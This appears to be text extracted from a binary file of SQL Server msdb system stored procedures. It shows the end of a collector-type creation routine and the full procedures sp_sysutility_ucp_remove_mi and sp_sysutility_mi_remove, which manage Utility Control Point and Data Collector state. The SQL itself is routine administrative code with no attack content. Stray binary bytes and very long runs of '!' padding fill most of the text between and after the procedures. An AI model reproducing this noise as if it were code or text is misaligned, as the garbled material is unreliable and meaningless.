        WHILE (EXISTS (SELECT * FROM sys.xml_schema_collections WHERE name = @schema_collection))
        BEGIN
            SET @schema_collection = LEFT(@schema_collection, 119) + '_' + RIGHT(STR(FLOOR(RAND() * 100000000)),8)
        END

        DECLARE @retVal int
        DECLARE @sql_string nvarchar(2048)
        DECLARE @param_definition nvarchar(16)
        SET @param_definition = N'@schema xml'
        SET @sql_string = N'CREATE XML SCHEMA COLLECTION ' + QUOTENAME(@schema_collection, '[') + N' AS @schema; '
        SET @sql_string = @sql_string + N'GRANT EXECUTE ON XML SCHEMA COLLECTION::[dbo].' + QUOTENAME(@schema_collection, '[') + N' TO dc_admin; ' 
        SET @sql_string = @sql_string + N'GRANT VIEW DEFINITION ON XML SCHEMA COLLECTION::[dbo].' + QUOTENAME(@schema_collection, '[') + N' TO dc_admin; '

        EXEC sp_executesql @sql_string, @param_definition, @schema = @parameter_schema
    END

    INSERT INTO [dbo].[syscollector_collector_types_internal]
    (
        collector_type_uid,
        name,
        parameter_schema,
        parameter_formatter,
        schema_collection,
        collection_package_name,
        collection_package_folderid,
        upload_package_name,
        upload_package_folderid
    )
    VALUES
    (
        @collector_type_uid,
        @name,
        @parameter_schema,
        @parameter_formatter,
        @schema_collection,
        @collection_package_name,
        @collection_package_folderid,
        @upload_package_name,
        @upload_package_folderid
    )

    IF (@TranCounter = 0)
        COMMIT TRANSACTION
    RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_create_collector_type

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);

        RETURN (1)    
    END CATCH
END
0*i$ N8
CREATE PROCEDURE [dbo].[sp_sysutility_ucp_remove_mi]
@instance_id int
WITH EXECUTE AS OWNER
AS
BEGIN
   DECLARE @retval              INT


    IF (@instance_id IS NULL)
    BEGIN
        RAISERROR(14043, -1, -1, 'instance_id', 'sp_sysutility_ucp_remove_mi')
        RETURN(1)
    END

    DECLARE @instance_name SYSNAME
    SELECT @instance_name = instance_name 
    FROM msdb.dbo.sysutility_ucp_managed_instances_internal 
    WHERE instance_id = @instance_id
    
    -- Clean up managed instance health states and update dashboard stats
    -- This block comes before the delete from sysutility_ucp_managed_instances_internal
    -- so we can retrieve the instance name in case there's an error inside the block and
    -- this sp is rerun
    IF EXISTS (SELECT 1 FROM msdb.dbo.sysutility_ucp_mi_health_internal WHERE mi_name = @instance_name)
    BEGIN
        DECLARE @health_state_id INT
        SELECT @health_state_id = latest_health_state_id FROM msdb.dbo.sysutility_ucp_processing_state_internal
        
        -- Delete the managed instance record
        DELETE FROM msdb.dbo.sysutility_ucp_mi_health_internal WHERE mi_name = @instance_name

        -- Re-compute the dashboard health stats
        DELETE FROM msdb.dbo.sysutility_ucp_aggregated_mi_health_internal WHERE set_number = @health_state_id
        EXEC msdb.dbo.sp_sysutility_ucp_calculate_aggregated_mi_health @health_state_id   
        
        -- Delete the health records of DACs in the removed instance.
        DELETE FROM msdb.dbo.sysutility_ucp_dac_health_internal WHERE dac_server_instance_name = @instance_name        
        
        -- Re-compute the DAC health stats in the dashboard
        DELETE FROM msdb.dbo.sysutility_ucp_aggregated_dac_health_internal WHERE set_number = @health_state_id
        EXEC msdb.dbo.sp_sysutility_ucp_calculate_aggregated_dac_health @health_state_id   
    END

    DELETE [dbo].[sysutility_ucp_managed_instances_internal] 
        WHERE instance_id = @instance_id

    SELECT @retval = @@error
    RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`.<
Ol 0c% 	8
CREATE PROCEDURE [dbo].[sp_sysutility_mi_remove]
WITH EXECUTE AS OWNER
AS
BEGIN
    SET NOCOUNT ON;

    EXEC msdb.dbo.sp_sysutility_mi_disable_collection;
    
    --###FP 1

    EXEC msdb.dbo.sp_syscollector_disable_collector;
    
    --###FP 2

    DECLARE @collection_set_id int;
    DECLARE @proxy_id int;
    DECLARE @utility_collection_set_uid uniqueidentifier = N'ABA37A22-8039-48C6-8F8F-39BFE0A195DF';

    -- find our collection set and determine if its proxy is set
    SELECT 
         @collection_set_id = collection_set.collection_set_id
        ,@proxy_id = collection_set.proxy_id
    FROM msdb.dbo.syscollector_collection_sets AS collection_set
    WHERE collection_set.collection_set_uid = @utility_collection_set_uid;

    -- determine if DC is running
    -- if agent is not running, is_running won't be changed
    -- so default it to false
    DECLARE @is_running int = 0
    EXEC msdb.dbo.sp_syscollector_get_collection_set_execution_status @collection_set_id, @is_running OUTPUT;
    
    --###FP 3

    IF (@is_running = 1)
    BEGIN
      EXEC msdb.dbo.sp_syscollector_stop_collection_set @collection_set_id;
    END
    
    --###FP 4

    IF (@proxy_id IS NOT NULL )
    BEGIN
        -- retrieve the current cache directory setting
        -- if the setting can't be found, assume it is not set	
        DECLARE @cache_directory_is_set bit = 0
        SELECT @cache_directory_is_set = CASE WHEN config.parameter_value IS NULL THEN 0 ELSE 1 END
        FROM msdb.dbo.syscollector_config_store AS config
        WHERE config.parameter_name = N'CacheDirectory';
        
        IF(@cache_directory_is_set = 1)
        BEGIN
          EXEC msdb.dbo.sp_syscollector_set_cache_directory @cache_directory = NULL;
        END
        
        --###FP 5
        
        -- clear the proxy
        -- because we only enter this block if proxy is set,
        -- postpone clearing proxy until the end of the block
        -- to ensure that if clearing the cache directory fails
        -- we will re-enter this block the next time this proc is called
        EXEC msdb.dbo.sp_syscollector_update_collection_set @collection_set_id = @collection_set_id, @proxy_name = N'';
        
        --###FP 6
    END
    
    EXEC msdb.dbo.sp_syscollector_enable_collector;
    
    --###FP 7

    EXEC msdb.dbo.sp_sysutility_mi_remove_ucp_registration;
END;
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<vO:9?0<J$	m[?AL<%I<%I<>`;>`;##AC@?@@@=/F]t,CZq)@Wn&B?@????@?A?0A??????@?@?@?????1??2??d@@?e??g@@?h?@?l@@?m??n@@?p@@@r@?t???v???x??I??|??@???@??@?@?@???	@@?u@@@y0<J$iZ?>@C@8Of}
C?A????@@???????!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!